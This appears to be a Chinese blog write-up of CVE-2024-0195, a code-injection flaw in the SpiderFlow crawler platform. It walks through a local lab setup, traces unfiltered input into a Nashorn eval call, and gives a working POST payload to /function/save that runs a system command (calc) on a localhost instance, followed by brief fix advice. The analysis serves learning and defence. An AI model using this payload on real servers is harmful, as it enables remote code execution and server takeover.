CVE-2024-0195 利用分析

1. 漏洞介绍

SpiderFlow爬虫平台项目中spider-flow-web\src\main\java\org\spiderflow\controller\FunctionController.java文件的FunctionService.saveFunction函数调用了saveFunction函数,该调用了自定义函数validScript,该函数中用户能够控制 functionNameparameters 或 script 中的内容,从而构造恶意输入来执行任意的 JavaScript 代码,从而导致代码注入,并允许远程发起攻击,可导致服务器失陷。

2. 流程图分析

CVE-2024-0195 利用分析_第1张图片

 

3. 搭建过程

1. IDEA Gitee 快速搭建

CVE-2024-0195 利用分析_第2张图片

URL : https://gitee.com/jmxd/spider-flow.git

CVE-2024-0195 利用分析_第3张图片

2. 数据库搭建

我这里使用的是MySQL5.7,然后使用Navicat运行项目中spider-flow\db\spiderflow.sql这个SQL文件会在数据库中自动生成所需要的数据库:

CVE-2024-0195 利用分析_第4张图片

CVE-2024-0195 利用分析_第5张图片

CVE-2024-0195 利用分析_第6张图片

CVE-2024-0195 利用分析_第7张图片

3. 数据库连接

CVE-2024-0195 利用分析_第8张图片

然后修改数据库配置文件application.properties,路径为:spider-flow\spider-flow-web\src\main\resources\application.properties

CVE-2024-0195 利用分析_第9张图片

4. 运行

spider-flow\spider-flow-web\src\main\java\org\spiderflow\SpiderApplication.java

CVE-2024-0195 利用分析_第10张图片

然后访问路径http://localhost:8088/,成功搭建!

CVE-2024-0195 利用分析_第11张图片

4. 利用过程

首先我们直接在IDEA中寻找危险函数eval,使用Ctrl+shift+F文件搜索:

CVE-2024-0195 利用分析_第12张图片

发现这里有个validScript函数调用了eval危险函数:

    public static void validScript(String functionName,String parameters,String script) throws Exception {
        new ScriptEngineManager().getEngineByName("nashorn").eval(concatScript(functionName,parameters,script));
    }

然后这里的我们去看看eval具体执行的参数是怎么生成的:

CVE-2024-0195 利用分析_第13张图片

    private static String concatScript(String functionName,String parameters,String script){
        StringBuffer scriptBuffer = new StringBuffer();
        scriptBuffer.append("function ")
                .append(functionName)
                .append("(")
                .append(parameters == null ? "" : parameters)
                .append("){")
                .append(script)
                .append("}");
        return scriptBuffer.toString();
    }

可以看到concatScript 方法中,它接受三个参数 functionNameparameters 和 script,然后将它们拼接成一个 JavaScript 函数的字符串。这里它没有任何的过滤。所以我们可以尝试构造恶意的这三个参数实现RCE。

在上面的函数中将产生如下的字符串:

function functionName(parameters){script}

很明显我们可以构造恶意的script来导致RCE:

例如script的值可以为}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

这样的话我们最终的字符串将会变成:

function functionName(parameters){}Java.type('java.lang.Runtime').getRuntime().exec('calc');{}

然后最后在执行的时候就会直接定义一个函数后执行我们的Java恶意代码。

然后我们分析是哪个函数调用了validScript函数

CVE-2024-0195 利用分析_第14张图片

    public String saveFunction(Function entity) {
        try {
            ScriptManager.validScript(entity.getName(),entity.getParameter(),entity.getScript());
            super.saveOrUpdate(entity);
            init();
            return null;
        } catch (Exception e) {
            logger.error("保存自定义函数出错",e);
            return ExceptionUtils.getStackTrace(e);
        }
    }

然后在FunctionController.java调用了saveFunction

@RestController
@RequestMapping("/function")
public class FunctionController {
    ......
    @RequestMapping("/save")
    public String save(Function function){
        return functionService.saveFunction(function);
    }
    ......
}

然后我们现在就可以去实际的功能点看需要哪些参数:

CVE-2024-0195 利用分析_第15张图片

CVE-2024-0195 利用分析_第16张图片

于是我们直接写出payload:

POST /function/save HTTP/1.1
Content-Length: 38
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: localhost:8088

id=&name=rce¶meter=rce&script=}Java.type('java.lang.Runtime').getRuntime().exec('calc');{

成功命令执行弹出计算器:

CVE-2024-0195 利用分析_第17张图片

5. 修复方式

  • • 过滤好script参数

  • • 设置沙箱

5. 总结

这个项目在Gitee上面有7.4K的Star,有3.6K的fork记录,在实际部署上也不是很少,但是漏洞点出的不是很难主要是思路扩展,适宜入门。

你可能感兴趣的:(网络安全,安全)